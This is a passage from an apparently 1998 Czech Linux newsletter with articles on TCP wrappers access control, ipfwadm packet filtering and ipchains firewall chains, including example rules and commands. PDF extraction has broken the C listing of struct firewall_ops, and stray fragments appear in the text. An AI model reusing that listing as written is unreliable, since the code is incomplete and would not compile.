„portmap“. Naše pravidlo tedy upravı́me takto:

ALL EXCEPT sshd,portmap: anchor.env.cz

Nynı́ by již měly výše zmı́něné věci fungovat.
Oba soubory mohou obsahovat vı́ce pravidel. Pravidla

majı́ obecně tvar

<seznam démonů> : <klientské počı́tače> \
[ : <přı́kaz shellu> ]

Část v hranatých závorkách je nepovinná. Prvky sezna-
mu mohou být odděleny čárkou nebo mezerou. Je možno
použı́vat např. tyto wildcards:

• ALL – univerzálnı́ wildcard, vyhovuje (match) všemu.

• LOCAL – vyhovuje všem jménům počı́tačů, které ne-

obsahujı́ tečku
Podrobnějšı́ informace naleznete v manové stránce
hosts access(5). V seznamu může být též uveden ope-
rátor EXCEPT, jehož funkce je patrná z výše uvedeného
přı́kladu.

Vysvětlı́me si krátce, jak wrapper určuje oprávněnost po-
žadavků o připojenı́. Wrapper hledá v tabulkách a použije
prvnı́ pravidlo, které vyhovuje požadavku. Při výběru pra-
videl se postupuje takto:

1. Přı́stup bude povolen, pokud pár (démon, klient)
vyhovuje nějakému pravidlu uvedenému v souboru
/etc/hosts.allow.

2. Přı́stup bude odepřen, pokud pár (démon, klient)
vyhovuje nějakému pravidlu uvedenému v souboru
/etc/hosts.deny.

3. V ostatnı́ch přı́padech je přı́stup povolen.

Syntaxe pravidel kontroly přı́stupu je dokumentována
v manové stránce hosts access(5). Je potřeba, aby wrap-
per nezpomaloval odezvu serveru, a proto byl jazyk pro psa-
nı́ pravidel navržen tak, aby byl co nejjednoduššı́. Se zvyšu-
jı́cı́ se rychlostı́ počı́tačů je tento jazyk možné rozšı́řit. Toto
rozšı́řenı́ je popsáno v manové stránce hosts options(5).
Aby bylo možné toto rozšı́řenı́ použı́t, musı́ být wrap-
per s tı́mto rozšı́řenı́m zkompilován. V přı́padě distribuce
Red Hat Linux tomu tak je.

Kontrolnı́ výpis pravidel provedeme přı́kazem
tcpdchk -v.

Pravidla pro kontrolu přı́stupu mohou být též použita
k tomu, aby klientům byl spuštěn „ten správný“ server.
Např. chceme, aby WWW databáze komunikovala v rodném
jazyce, pokud se připojı́ klient z dané země, a v angličtině,
pokud se připojı́ klient odjinud.

Vypisovánı́ zpráv klientům (banner messages)

Pokud je povoleno rozšı́řenı́ jazyka, je možné před spuště-
nı́m přı́slušného serveru vypsat klientovi nějakou zprávu.
Pravidlo bude mı́t pak tento tvar:

<seznam démonů> : <seznam klientů> : \
banners /some/directory

Pokud dojde k vyhověnı́, program tcpd se nejprve po-
dı́vá do adresáře /some/directory a pokud v něm najde
soubor, který má stejné jméno, jako přı́slušný démon, zko-
pı́ruje jeho obsah klientovi. Např. pro službu TELNET se
démon jmenuje in.telnetd, takže stejně se bude jmeno-
vat i přı́slušný soubor. Může v něm být např. zpráva

Ahoj %u@%h, co tě k nám přivádı́?

%u a %h jsou tzv. %<pı́smeno> expanze. Konkrét-
ně %u bude expandováno na jméno uživatele a %h
na jméno klientského počı́tače. Těchto expanzı́ je vı́c
a jsou popsány v manové stránce hosts access(5). Ná-
vod, jak spravovat soubory se zprávami je v souboru
/usr/doc/tcp wrappers*/Banners.Makefile.

Konfigurace a instalace

Instalace tohoto balı́ku na Linuxu je velice jednoduchá po-
kud použı́váte např. distribuci Red Hat. Tento balı́k může
být instalován již při instalaci celého systému. Pro úplnost
uvedu ještě přı́slušný postup, pokud balı́k při instalaci ce-

lého systému instalován nebyl:
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1. Musı́me zı́skat přı́slušný distrubučnı́ balı́k, např.
tcp wrappers-7.6-1.i386.rpm (RPM balı́k pro plat-
formu i386). Bud’ z distribučnı́ho CDčka, nebo z něja-
kého FTP mirroru distribuce Red Hat.

2. Nainstalujeme ho pomocı́ programu rpm:

rpm -i tcp_wrappers-7.6-1.i386.rpm

Instalace pomocı́ rpm provede přı́slušné změny do
souboru /etc/inetd.conf. Soubory /etc/hosts.allow
a /etc/hosts.deny si upravı́me podle svých představ. Dá-
le můžeme zkusit program tcpdchk, který kontroluje různé
nesrovnalosti, např. při jeho spuštěnı́ můžeme dostat hláš-
ku

warning: /etc/inetd.conf, line 28: \
/usr/sbin/wu-ftpd: not found: \
No such file or directory

takovéto nesrovnalosti bychom měli odstranit.
Můžeme taky vyzkoušet, jak bude probı́hat žádost o při-

pojenı́ na nějakou službu z nějakého klienta. K tomu pou-
žijeme program tcpdmatch. Např.

tcpdmatch in.telnetd anchor.env.cz

Vypı́še např.

client: hostname anchor.env.cz
client: address 10.0.8.117
server: process in.telnetd
access: granted

Program tcpd, všechny soubory, který tento program po-
užı́vá, a všechny přı́slušné adresáře by měli být čitelné, ale
ne zapisovatelné pro neprivilegované uživatele (mód 755
nebo 555). Program tcpd by neměl být set-uid.

Pokud neexistujı́ tabulky pro kontrolu přı́stupu, tcpd se
bude chovat tak, jako by byly prázdné.

Podle dokumentace program tcpd nepracuje s RPC služ-
bami nad protokolem TCP. Ovšem jediná netriviálnı́ služba,
která je tı́mto postižena, je rexd, jejı́ž použı́vánı́ je však prý
velice nebezpečné.

Dalšı́ informace a poznámky

Wrapper se snažı́ odhalit tzv. host name spoofing a host ad-
dress spoofing. Jde o to, že klientský počı́tač se pokoušı́
zfalšovat svoji identitu. V prvnı́m přı́padě se jedná o pokus
zfalšovánı́ jména počı́tače, v druhém o pokus zfalšovánı́ je-
ho IP adresy. Pokud wrapper zjistı́ v tomto směru nějaké
nesrovnalosti, spojenı́ odepře.

Wrapper je v distribuci Red Hat 5.0 přeložen s volbou
-DKILL IP OPTIONS, což znamená, že programy budou od-
mı́tat navázat TCP spojenı́ u paketů, které majı́ nastaveno
směrovánı́ (IP source routing packets).

Protokol navržený v dokumentu RFC 931 poskytuje pro-
středky pro zı́skánı́ uživatelského jména z počı́tače klienta
(client username lookup). Je požadováno, aby na klient-
ském počı́tači běžel nějaký démon, který vyhovuje specifi-
kaci RFC 931 (identd). Tato specifikace bohužel nenı́ dána
jednoznačně, těch protokolů je vı́c. Démon tcpd podporuje
jen nejběžnějšı́ z nich.

’
Program tcpd provádı́ zjištovánı́ jména uživatele pouze
pokud je to vyžadováno v pravidlech pro kontrolu přı́stupu,
nebo pokud je jméno uživatele potřeba v nějaké %<pı́sme-
no> expanzi.

Rutiny pro kontrolu přı́stupu mohou být snadno
integrovány do dalšı́ch programů. Manová stránka
hosts access(3) popisuje aplikačnı́ interface knihovny
libwrap.a.

Oznámenı́ o nových verzı́ch tohoto software je posto-
váno do usenetových skupin (alespoň) comp.security.unix,
comp.unix.admin a posı́láno do speciálnı́ diskusnı́ skupiny,
do které se můžete přihlásit zaslánı́m zprávičky bez sub-
jectu, která bude obsahovat právě a jen řetězec subscribe
tcp-wrappers-announce na adresu (1).

Můžete se též přihlásit do diskusnı́ skupiny o firewallech
(pošlete na adresu (2) dopis bez subjectu obsahujı́cı́ právě
a jen řetězec subscribe firewalls). Jejı́ archiv je na ser-
veru (3).

Dalšı́ informace naleznete též v manových stránkách
hosts access(3, 5), hosts.allow(5), hosts.deny(5),
hosts options(5), tcpd(8), tcpdchk(8), tcpdmatch(8).

Přı́kazem

rpm -qil tcp_wrappers

zı́skáme krátkou informaci o (nainstalovaném) balı́ku
tcp wrappers a výpis všech relevantnı́ch souborů.

Dalšı́ informace jsou též k dispozici v adresáři
/usr/doc/tcp wrappers*.

Použitá literatura: (4), (5).

1 TCP wrappers announce majordomo
mailto:majordomo@wzv.win.tue.nl

2 Firewally – mailing list
mailto:majordomo@greatcircle.com

3 Archı́v diskusnı́ skupiny firewalls
ftp://ftp.greatcircle.com

4 W.Z. Venema, ”TCP WRAPPER, network monitoring,
access control and booby traps”
ftp://ftp.win.tue.nl/pub/security/tcp_wrapper.ps.Z

5 W.R. Cheswick, ”An Evening with Berferd, In Which
a Cracker is Lured, Endured, and Studied”
ftp://research.att.com/dist/internet_security/berferd.ps

Filtrovánı́ paketů v Linuxu
Pavel Kaňkovský, 3. března 1998

V linuxovém jádře je vestavěna poměrně silná a flexibil-
nı́ podpora pro filtrovánı́ paketů (speciálně IP datagramů,
i když je možno filtrovat i jiné protokoly, např. IPX) zpraco-
vávaných sı́t’ovým subsystémem jádra. Filtrovánı́ je možno
provádět ve třech různých fázı́ch: bezprostředně po přije-
tı́ datagramu ze sı́tě, během jeho přesměrovánı́ do jiné sı́-
tě a před vyslánı́m datagramu do sı́tě. Pro aktivaci těchto
funkcı́ je třeba zapnout volby Network firewalls a IP firewal-
ling. Poznamenejme, že nenı́ nutné, aby byl uzel nakonfi-
gurován jako router (IP forwarding/gatewaying), i když je
to obvyklé.

Pro protokol IP znázorňuje postavenı́ jednotlivých filtrů
(jsou označeny modrou barvou) vzhledem k ostatnı́m kom-
ponentám (v konkrétnı́ konfiguraci nemusı́ být některé přı́-

tomny) tento diagram:
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INPUT OUTPUT

Network

FORWARD

Local
processes

Non-local
destination 

address

Local
destination address

eth
ppp
...

lo

eth
ppp
...

lo

MasqueradeRouting

RoutingDemasquerade

demasqueraded

loopback

Datagram je po svém přijetı́ některým sı́t’ovým rozhranı́m
zpracován vstupnı́m filtrem (input). Pokud je jeho adresa
lokálnı́ (nebo vstupnı́ filtr nařizuje přesměrovánı́ datagra-
mu na lokálnı́ port, tzv. transparent proxying), je provede-
no „odmaskovánı́“ cı́lové adresy–tj. pokud je v činnosti pře-
klad adres (NAT, v Linuxu označováno jako masquerade,
tedy maškaráda). Pokud je pod cı́lovou adresou datagra-
mu skryta jiná adresa, je tato „odmaskována“ a datagram
je přesměrován na své skutečné mı́sto určenı́. Jinak je (po-
kud je to možné) doručen na přı́slušný lokálnı́ port a pře-
vzat lokálně bežı́cı́m procesem.

struct firewall_ops
{

struct firewall_ops *next;
int (*fw_forward)(struct firewall_ops *this, int pf,

struct device *dev, void *phdr, void *arg
int (*fw_input)(struct firewall_ops *this, int pf,

struct device *dev, void *phdr, void *arg
int (*fw_output)(struct firewall_ops *this, int pf,

struct device *dev, void *phdr, void *arg
int fw_pf; /* Protocol family
int fw_priority; /* Priority of chosen firewalls

};

Výpis 1: Struktur

Pokud nenı́ cı́lová adresa datagramu lokálnı́ (ani nemá
dojı́t k jeho přesměrovánı́ na lokálnı́ port), je datagram
směrován a zkontrolován předávacı́m filtrem (forward). Po-
kud to filtr vyžaduje, je provedeno „maskovánı́“ zdrojové
adresy datagramu. Všechny datagramy, které majı́ být vy-
slány do sı́tě, jsou ještě před svým předánı́m sı́t’ovému roz-
hranı́ zkontrolovány výstupnı́m filtrem (output).

Jednotlivé filtry popsané v předchozı́m textu jsou vyvo-
lávány v procedurách sı́t’ových protokolů (pokud filtrovánı́
podporujı́) pomocı́ následujı́cı́ch funkcı́:

int call_fw_firewall(int pf, \
struct device *dev, void *phdr, void *arg);

int call_in_firewall(int pf, \
struct device *dev, void *phdr, void *arg);

int call_out_firewall(int pf, \
struct device *dev, void *phdr, void *arg);

kde parametr pf určuje sı́t’ový protokol (např. PF INET), dev
určuje zařı́zenı́, odkud byl datagram přijat, pro vstupnı́ filtr
resp. zařı́zenı́, kam bude datagram odeslán, pro předávacı́
a výstupnı́ filtr, phdr ukazuje na začátek dat v datagramu
(z pohledu sı́t’ového protokolu) a arg je pomocný parametr
(který je např. u vstupnı́ch filtrů pro protokol IP použit pro

přesměrovánı́ na lokálnı́ porty).
);

);

);
*/
*/

a firewall ops

Každá z těchto funkcı́ vracı́ jednu z následujı́cı́ch hodnot:
FW BLOCK odmı́tni datagram bez náhrady
FW ACCEPT akceptuj datagram
FW REJECT odmı́tni datagram a zašli oznámenı́,

že nelze doručit (má-li to smysl)
FW REDIRECT přesměruj datagram na lokálnı́ port
FW MASQUERADE „zamaskuj“ zdrojovou adresu

Pro protokol IP má hodnota FW REDIRECT smysl pouze
u vstupnı́ch filtrů a hodnota FW MASQUERADE pouze u pře-
dávacı́ch filtrů. Protokol IPX tyto hodnoty nerozeznává vů-
bec.

Pro každý protokol je definována prioritnı́ fronta fil-
trů, které jsou popsány strukturou firewall ops (viz vý-
pis >Struktura firewall ops).

Funkce call ... firewall vyvolávajı́ odpovı́dajı́cı́ me-
tody zaregistrovaných filtrů podle jejich priority (od
nejmenšı́ k největšı́), dokud nenı́ hodnota vrácená meto-
dou různá od FW SKIP. Pokud ani jeden filtr ve frontě ne-
rozhodne o osudu datagramu, je vrácena předdefinovaná
hodnota (FW ACCEPT).

Všechny zmı́něné definice je možno nalézt v souboru
include/linux/firewall.h.

Standardnı́ IP filtr a přı́kaz ipfwadm

Přı́mo ve standardnı́m linuxovém jadře (v souboru
net/ipv4/ipfw.c) je možno nalézt jednoduchou imple-
mentaci bezstavového filtru pro protokol IP. Kód pochá-
zı́ z BSD UNIXu verze 4.4 (a byl portován do Linuxu ještě
v době, kdy výše popsané obecné mechanismy ještě nee-
xistovaly).

Každý filtr je definován jako seznam pravidel (rules), kte-
rá se skládajı́ z podmı́nky (určujı́cı́, kdy je pravidlo použito)
a akce (určujı́cı́, jak má být s datagramem naloženo), a jed-
né implicitnı́ akce (default policy). Pro každý datagram je
seznam pravidel procházen dokud nenı́ nalezeno pravidlo,
jehož podmı́nka je splněna, a pak je použita jeho direkti-
va. Pokud nenı́ žádné takové pravidlo nalezeno, je použita
implicitnı́ akce.

Podmı́nka je tvořena (v závorkách jsou uvedeny odpovı́-
dajı́cı́ parametry přı́kazu ipfwadm, o kterém bude řeč poz-
ději):

• zdrojovou a cı́lovou IP adresou s maskou (-S, -D)

• specifikacı́ protokolu: libovolný, UDP, TCP, ICMP (-P)

• množinou zdrojových a cı́lových portů pro protokoly
UDP a TCP, maximálnı́ počet všech portů v podmı́nce

je 10, ale je možno specifikovat i interval (-S, -D)
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• údajem, zda shodu adres a portů testovat i v opačném
směru (-b)

• přı́znaky pro rozlišenı́ nových a již otevřených TCP
spojenı́ (-k, -y)

• množinou typů zpráv pro protokol ICMP (-S)

• jménem resp. adresou sı́t’ového rozhranı́ (-W, -V)

Explicitnı́ akci pak tvořı́:

• způsob, jakým má být s datagramem naloženo: ak-
ceptovat (accept), tiše zamı́tnout (deny), zamı́t-
nout a poslat zpět oznámenı́ pomocı́ protokolu ICMP
(reject)

• údaj, zda má být datagram přesměrován na lokálnı́
port, a pokud ano, tak na který (-r)

• údaj, zda má být proveden překlad zdrojové adresy
(-m)

• údaj, zda má být o aplikaci pravidla na datagram za-
psána informace do logu (-o)

• modifikace přı́znaků typu služby (TOS) (-t)

Implicitnı́ akce se skládá pouze ze způsobu, jakým má
být s datagramem naloženo, tj. zda má být datagram ak-
ceptován nebo zamı́tnut (s oznámenı́m nebo bez něj).

Mimoto je možno definovat tzv. účtovacı́ pravidla (pokud
je v konfiguraci jádra zapnuto IP accounting), která majı́
stejné podmı́nky, ale žádné direktivy. Účtovacı́ pravidla jsou
dvou druhů: vstupnı́ a výstupnı́. Pro jejich vyvolávánı́ nenı́
použit mechanismus filtrů, nebot’ jsou explicitně volána ze
subsystému protokolu IP.

Se seznamy pravidel je možno pracovat pomocı́ systé-
mových volánı́ popsaných v manuálové stránce ipfw(4).
To ovšem nenı́ přı́liš praktické pro běžné použitı́, a proto
existuje program ipfwadm, který tyto funkce zpřı́stupňuje.
Pomocı́ tohoto programu je možno konfigurovat filtrova-
cı́ a účtovacı́ pravidla, zjišt’ovat údaje o nakonfigurovaných
pravidlech a testovat je. Syntaxe všech jeho parametrů je
detailně popsána v manuálové stránce ipfwadm(8), struč-
ný přehled je možno zı́skat zadánı́m přı́kazu ipfwadm -h.
Nutné minimum představujı́ následujı́cı́ varianty:

ipfwadm filtr -p výsledek
ipfwadm filtr -a výsledek parametry...
ipfwadm filtr -f
ipfwadm filtr -l

Prvnı́ varianta nastavuje implicitnı́ akci pro zadaný filtr.
Filtr je -I pro vstupnı́ filtr, -O pro výstupnı́ a -F pro pře-
dávacı́. Výsledek je accept pro přijetı́, deny pro odmı́tnu-
tı́, nebo reject pro odmı́tnutı́ se zaslánı́m oznámenı́. Dru-
há varianta přidává na konec seznamu nové pravidlo, je-
hož podmı́nka a dalšı́ atributy akce jsou popsány paramet-
ry. Nahrazenı́m volby -a je možno pravidla přidávat na za-
čátek seznamu (-i) nebo ze seznamu odebı́rat (-d). Třetı́
varianta zcela vyprázdnı́ seznam zadaného filtru. Posled-
nı́ varianta vypı́še obsah zadaného filtru, spolu se statisti-
kou použitı́ jednotlivých pravidel (pomocı́ voleb -l a -e je
možno zı́skat detailnějšı́ informace).
Nynı́ si ukážeme několik přı́kladů.
Triviálnı́ vstupnı́ filtr

Tento přı́klad ukazuje, jak inicializovat nejjednoduššı́
vstupnı́ filtr, který zabraňuje podvrženı́ lokálnı́ sı́t’ové adre-
sy (address spoofing). Předpokládejme, že počı́tač má dvě
sı́t’ová rozhranı́: lo s adresou 127.0.0.1 a eth0 s adresou
1.2.3.4.

ipfwadm -I -p deny
ipfwadm -I -f
ipfwadm -I -a accept -S 127.0.0.0/8 -W lo
ipfwadm -I -a accept -S 1.2.3.4 -W lo
ipfwadm -I -a deny -S 127.0.0.0/8
ipfwadm -I -a deny -S 1.2.3.4
ipfwadm -I -p accept

Vstupnı́ filtr je inicializován pravidly, která zabraňujı́, aby
vyjmenované zdrojové adresy byly použity na jiném zařı́ze-
nı́ než je loopback. Nastavenı́ implicitnı́ direktivy na za-
čátku a na konci demonstruje ošetřenı́ nestabilnı́ho stavu
v průběhu inicializace, kdy by mohlo být možno filtr obejı́t.
Všechna zamı́tnutı́ jsou definována jako deny, nebot’ zdro-
jová adresa nenı́ platná, a proto nemá smysl na ni nic po-
sı́lat.

Složitějšı́ kontrola adres

Předpokládejme, že propojujeme sı́t’ 1.2.3.0/8 s Interne-
tem. Chceme-li zajistit, aby z vnějšku nebylo možno pod-
vrhnou vnitřnı́ adresy a naopak. Také chceme odfiltrovat
neplatné adresy. Lokálnı́ sı́t’ je zapojena na eth0, ven smě-
řuje ppp0.

ipfwadm -I deny -b -S 10.0.0.0/8 -o
ipfwadm -I deny -b -S 172.16.0.0/12 -o
ipfwadm -I deny -b -S 192.168.0.0/16 -o
ipfwadm -I deny -b -S 0.0.0.0 -o
ipfwadm -I deny -b -S 255.255.255.255 -o

ipfwadm -I accept -S 1.2.3.0/8 -W eth0
ipfwadm -I deny -W eth0 -o
ipfwadm -I deny -S 1.2.3.0/8 -o

Prvnı́ blok filtruje privátnı́ a neplatné IP adresy, a to
jak zdrojové, tak cı́lové. Druhý blok zajišt’uje, že adresy
1.2.3.0/8 mohou použı́vat pouze počı́tače v lokálnı́ sı́ti,
přičemž jim nenı́ dovoleno použı́vat jiné adresy. Výskyt ne-
žádoucı́ch adres je zaznamenán do logu.

Omezenı́ přı́stupu na určité adresy a protokoly

Chceme umožnit, aby počı́tače z vnitřnı́ sı́tě mohly navazo-
vat TCP spojenı́ bez omezenı́, ale v opačném směru je do-
volen pouze přı́stup na porty 100 a 101 na adrese 1.2.3.4.
Je povoleno použitı́ přı́kazu ping bez omezenı́. Nic jiného
povoleno nenı́.

ipfwadm -F accept -P tcp -k -D 1.2.3.4 100 101
ipfwadm -F accept -P tcp -k -S 1.2.3.0/8
ipfwadm -F accept -P tcp -y
ipfwadm -F accept -P icmp -S 0.0.0.0/0 0 8

ipfwadm -F -p reject

9
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Pravidla jsou v této ukázce umı́stěna do předávacı́ho fil-
tru, takže ovlivňujı́ komunikaci mezi vnitřnı́ sı́tı́ a vnějš-
kem, ale neomezujı́ možnosti samotného firewallu a pro-
cesů na něm bežı́cı́ch (což může–ale nemusı́–být žádoucı́).
Prvnı́ dvě pravidla povolujı́ zahajovat TCP spojenı́, pokud
je cı́lem jeden z povolených portů na počı́tači 1.2.3.4 ne-
bo zdroj ležı́ ve vnitřnı́ sı́ti (předpokládá se, že již byla uči-
něna opatřenı́ proti podvrženým adresám). Třetı́ pravidlo
povoluje neomezený provoz pro již zahájená spojenı́. Čtvr-
té pravidlo povoluje průchod zpráv ECHO (8) a ECHO REPLY
(0) protokolu ICMP (v praxi by bylo vhodnějšı́ méně re-
striktivnı́ pravidlo). Nakonec je nastavena implicitnı́ akce
na odmı́tnutı́ datagramu, čili všechno, co dosud nebylo po-
voleno, je zakázáno.

Překlad adres a přesměrovánı́ provozu na lokálnı́ port

Máme lokálnı́ sı́t’ s adresou 192.168.5.0/8 (pozor, změ-
na!) a chceme počı́tačům na nı́ umožnit komunikaci s In-
ternetem pomocı́ překladu adres. Zároveň chceme všech-
na spojenı́ z lokálnı́ sı́tě směrovaná na port 80 přesměrovat
na lokálně běžı́cı́ HTTP proxy (takový, který to podporuje
– např. squid) poslouchajı́cı́ na portu 1234.

ipfwadm -I accept -P tcp -D 0.0.0.0/0 80 -W eth0 -r 1234
ipfwadm -F accept -S 192.168.5.0/8 -m
ipfwadm -M -s 120 60 120

Prvnı́ pravidlo „odchytává“ spojenı́ z lokálnı́ sı́tě na port
80 na libovolné adrese a přesměrovává je na lokálnı́ port
1234. Druhé pravidlo zajišt’uje překlad privátnı́ch adres z lo-
kálnı́ sı́tě. Třetı́ pravidlo demonstruje nastavenı́ časových
parametrů „maškarády“ (pro zvláště pomalé spojenı́).

Testovánı́ filtru

Program ipfwadm je také možno použı́t pro ověřenı́, zda
filtr akceptuje, či odmı́tne určitý datagram. Je nutno uvést
všechny parametry, včetně adresy sı́t’ového rozhranı́. Násle-
dujı́cı́ přı́kaz ověřı́, zda je (z hlediska vstupnı́ho filtru) přı́-
pustné zahájit TCP spojenı́ z adresy 1.2.6.7, portu 1234
na adresu 1.2.6.7, port 7, přičemž datagram je přijat přes
rozhranı́ eth0.

ipfwadm -I -c -P tcp -S 1.2.3.4 1234 \
-D 1.2.6.7 7 -k -V 1.2.3.1 -W eth0

Pokud to možné je, pak program odpovı́:

packet accepted

Alternativnı́ filtry

Výše popsaná implementace filtrů nenı́ jediná možná. K dis-
pozici je vylepšená varianta pod názvem IP firewall chains
(1), která předevšı́m umı́ lépe pracovat s fragmentovanými
datagramy, zavádı́ některé nové druhy podmı́nek, umožňu-
je hierarchicky strukturovat seznamy pravidel a dovoluje
provádět změny seznamů pravidel atomicky. Modul je kon-
cipován jako náhrada standarnı́ho filtru. Obsažena je ob-
doba programu ipfwadm pod názvem ipchains.

Naprosto nezávislou implementaci filtru pro protokol IP
představuje sf Firewall (2). K hlavnı́m rysům patřı́ sledová-
nı́ stavu komunikačnı́ch protokolů (např. TCP), schopnost

dynamického vytvářenı́ pravidel na základě jiných pravidel,
bohatý konfiguračnı́ jazyk s širokým repertoárem podmı́nek
a akcı́ a možnost efektivnı́ rekonfigurace za běhu. Na dru-
hou stranu ale nenı́ (ve verzi 0.2.9) podporován překlad ad-
res ani přesměrovánı́ na lokálnı́ port.

Pro Linux je též dostupný multiplatformnı́ balı́k IP Filter
(3). K jeho zajı́mavým vlastnostem patřı́ podpora pro de-
tailnı́ kontrolu obsahu hlaviček datagramů, sledovánı́ stavu
komunikačnı́ch protokolů, sdružovánı́ pravidel do skupin
a podpora pro zachycovánı́ podezřelých datagramů a jejich
zpracovánı́ externı́m procesem.

1 IP firewall chains
http://www.adelaide.net.au/~rustcorp/ipfwchains

2 sf Firewall
ftp://ftp.switch.ch/software/sources/network/sf

3 IP Filter
http://cheops.anu.edu.au/~avalon/

Firewall v řetězech
Jan Kasprzak, 14. břazna 1998

V tomto článku vás chci seznámit s nástrojem
zvaným ipchains, jehož autorem je Paul Russel
(Paul.Russell@rustcorp.com.au). Je to nástroj pro
tvorbu firewallů typu packetový filtr pod Linuxem. Jeho
funkčnost je nadmnožinou funkčnosti IPFW.

Účel použitı́ IP chains v systému je stejný, jako u klasic-
kého IPFW packetového filtru: specifikovat, které packety
mohou projı́t systémem (at’ již dovnitř, ven nebo být for-
wardovány přes systém), dále mı́t možnost sledovat, kolik
packetů určitého tvaru procházı́ systémem, a dokonce mı́t
možnost napřı́klad logovat přı́chod podezřelých packetů.
Poslednı́ jmenovaná vlastnost je důležitá pro skutečně ak-
tivnı́ obranu před útočnı́kem a umožňuje odchytit pokusy
o průnik hned v začátcı́ch.

Zprovozněnı́ IP chains

Systém IP chains má dvě části: jedna je uvnitř jádra a jde
o vlastnı́ filtrovacı́ kód, druhá část – program ipchains
– sloužı́ k nastavovánı́ jednotlivých filtrovacı́ch pravidel.
Prvnı́ část je možno zı́skat jako patch do jádra (at’ již
vývojového – série 2.1, tak i stabilnı́ho – série 2.0). Pro-
gram ipchains je dostupný ve zdrojové formě z domov-
ské stránky IP Firewalling chains. To, že v systému je
nainstalován IP chains, lze ověřit tak, že existuje soubor
/proc/sys/net/ip fwchains.

Cesta packetu počı́tačem

K porozuměnı́ systému IP chains je nutné vědět, jakým
způsobem procházı́ packet počı́tačem (viz obrázek >Ces-
ta packetu počı́tačem).

• Vznik packetu: Packet může bud’to vzniknout činnos-
tı́ lokálnı́ho procesu (pak je na něj aplikováno pravi-
dlo output) nebo přijı́t ze sı́tě. Na takovýto přı́chozı́
packet jsou aplikovány dvě kontroly: kontrolnı́ součet
a kontrola na rozumnost některých hlaviček. Nevyho-
vujı́cı́ packety jsou rovnou zahozeny.

• input: Toto je sada filtrovacı́ch pravidel, aplikovaná
na přı́chozı́ packety. Zde je možno packet přijmout
(ACCEPT), zahodit DENY, odmı́tnout (REJECT) nebo

přesměrovat (REDIRECT).
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Obrázek 2: Cesta packetu počı́tačem

• Demasquerade: Je-li packet odpovědı́ na předchozı́
masqueradovaný packet, přepı́šou se odpovı́dajı́cı́m
způsobem hlavičky a packet se pošle na výstup.

• Routing: Směrovacı́ kód v jádře nynı́ rozhodne, jestli
je packet určený lokálnı́mu procesu (pak se doručı́)
nebo k přeposlánı́ na jiný stroj.

• forward: Dalšı́ sada filtrovacı́ch pravidel. Určuje, které
packety se smějı́ forwardovat dál, přı́padně u kterých
se má provést přepis hlaviček (masquerading).

• output: Lokálně vzniknuvšı́ a forwardované packety
jsou nakonec zkontrolovány výstupnı́ sadou pravidel,
která určı́, jestli packety mohou opustit počı́tač.

V čem se lišı́ IP chains?

V předchozı́m odstavci jsem popsal cestu packetu počı́ta-
čem. Tato cesta je v podstatě stejná při použitı́ klasického
firewallingu (ipfwadm) i při použitı́ IP chains. Kde je tedy
rozdı́l?

Klasický přı́stup definoval tři základnı́ sady filtrovacı́ch
pravidel – vstupnı́, forwardovacı́ a výstupnı́ (plus čtvrtý typ
– accounting). V systému IP chains může být takovýchto
sad (v terminologii IP chains řetězů) libovolně mnoho a mo-
hou na sebe navzájem odkazovat. Existujı́ tři výchozı́ řetěz-
ce: input, output a forward. Jádro každým z těchto ře-
tězců kontroluje, jestli packet smı́ projı́t dál na přı́slušném
mı́stě zmiňovaného obrázku. Dále existuje pět pseudoře-
tězců ACCEPT, DENY, REJECT, REDIR a MASQ. Tyto se chovajı́
jako běžné řetězce v tom smyslu, že mohou být odkazová-

ny z jiných řetězců (napřı́klad pokud řetězec forward od-
káže všechny packety na řetězec DENY, znamená to zákaz
forwardovánı́ přes tento počı́tač).

Logika práce IP chains je pak jasná: Pomocı́ programu
ipchains podobně jako přes ipfwadm vytvářı́me filtrova-
cı́ pravidla. Tak jako v ipfwadm mělo každé pravidlo typ
podle toho, jestli akceptovalo nebo odmı́talo packet, který
mu odpovı́dal, spustı́ v IP chains každé pravidlo na packet,
který mu odpovı́dá, nějaký jiný řetězec (ACCEPT, DENY ne-
bo jiný). Výhoda IP chains je v tom, že nejsme odkázáni
jen na standardnı́ pseudořetězce, ale můžeme si vytvářet
vlastnı́.

Přı́klad – třı́dy počı́tačů

Mějme sı́t’, na které běžı́ několik serverů a několik uživatel-
ských stanic. Chceme povolit telnet, ssh a finger na ser-
very, jakékoli spojenı́ ze serverů ven, ale na stanice chce-
me povolit jen finger. Pomocı́ ipfwadm bychom museli
pro každý počı́tač jednotlivě specifikovat přı́slušná práva.
Pokud bychom se později rozhodli napřı́klad povolit ssh
i na stanice, museli bychom přidat tolik pravidel, jako je
stanic.

Pomocı́ IP chains můžeme napřı́klad nadefinovat řetězec
stanice a řetězec servery, a přı́slušné packety v řetězci
forward na tyto přeposı́lat, jdou-li na servery, na stanice
nebo jinam. Přı́padnou změnu pro celou třı́du strojů pak
můžeme jednoduše realizovat přidánı́m jediného pravidla
do řetězce stanice nebo servery:

MYNET=1.2.3.0/255.255.255.0
# Definujeme pravidla pro servery:
ipchains -N servery
# Dovnitř pustı́me pouze na port telnetu, ssh, fingeru ...
ipchains -A servery -d $MYNET telnet -p tcp -j ACCEPT
ipchains -A servery -d $MYNET ssh -p tcp -j ACCEPT
ipchains -A servery -d $MYNET finger -p tcp -j ACCEPT
# ... a zakážeme otvı́ránı́ jakýchkoli jiných
# TCP spojenı́ dovnitř
ipchains -A servery -d $MYNET -p tcp -y -j DENY
# zbytek TCP packetu povolı́me:
ipchains -A servery -p tcp -j ACCEPT
# Povolı́me ICMP oběma směry
ipchains -A servery -p icmp -j ACCEPT
# Zbytek zakážeme
ipchains -A forward -j DENY

# Definujeme pravidla pro stanice:
ipchains -N stanice
# Dovnitř pustı́me pouze na port fingeru ...
ipchains -A stanice -d $MYNET finger -p tcp -j ACCEPT
# ... a zakážeme otvı́ránı́ jakýchkoli jiných
# TCP spojenı́ dovnitř
ipchains -A stanice -d $MYNET -p tcp -y -j DENY
# zbytek TCP packetu povolı́me:
ipchains -A stanice -p tcp -j ACCEPT
# Povolı́me ICMP oběma smery
ipchains -A stanice -p icmp -j ACCEPT
# Zbytek zakážeme
ipchains -A forward -j DENY

# Řetězec forward: definujeme servery ...
ipchains -A forward -s 1.2.3.1 -j servery
ipchains -A forward -d 1.2.3.1 -j servery

ipchains -A forward -s 1.2.3.6 -j servery

11
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ipchains -A forward -d 1.2.3.6 -j servery
ipchains -A forward -s 1.2.3.8 -j servery
ipchains -A forward -d 1.2.3.8 -j servery

# ... a stanice ...
ipchains -A forward -s 1.2.3.2 -j stanice
ipchains -A forward -d 1.2.3.2 -j stanice
